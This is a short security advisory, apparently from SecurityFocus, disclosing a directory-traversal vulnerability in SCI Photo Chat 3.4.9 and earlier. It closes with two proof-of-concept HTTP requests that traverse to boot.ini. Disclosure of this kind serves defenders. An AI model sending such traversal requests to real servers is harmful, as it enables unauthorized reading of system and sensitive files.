10 lines
No EOL
444 B
Text
10 lines
No EOL
444 B
Text
source: https://www.securityfocus.com/bid/27872/info
|
|
|
|
SCI Photo Chat is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input data.
|
|
|
|
Exploiting this issue may allow an attacker to access sensitive information that could aid in further attacks.
|
|
|
|
This issue affects SCI Photo Chat 3.4.9 and prior versions.
|
|
|
|
GET /docs/..\..\..\..\..\boot.ini HTTP/1.0
|
|
GET /docs/../../../../../boot.ini HTTP/1.0 |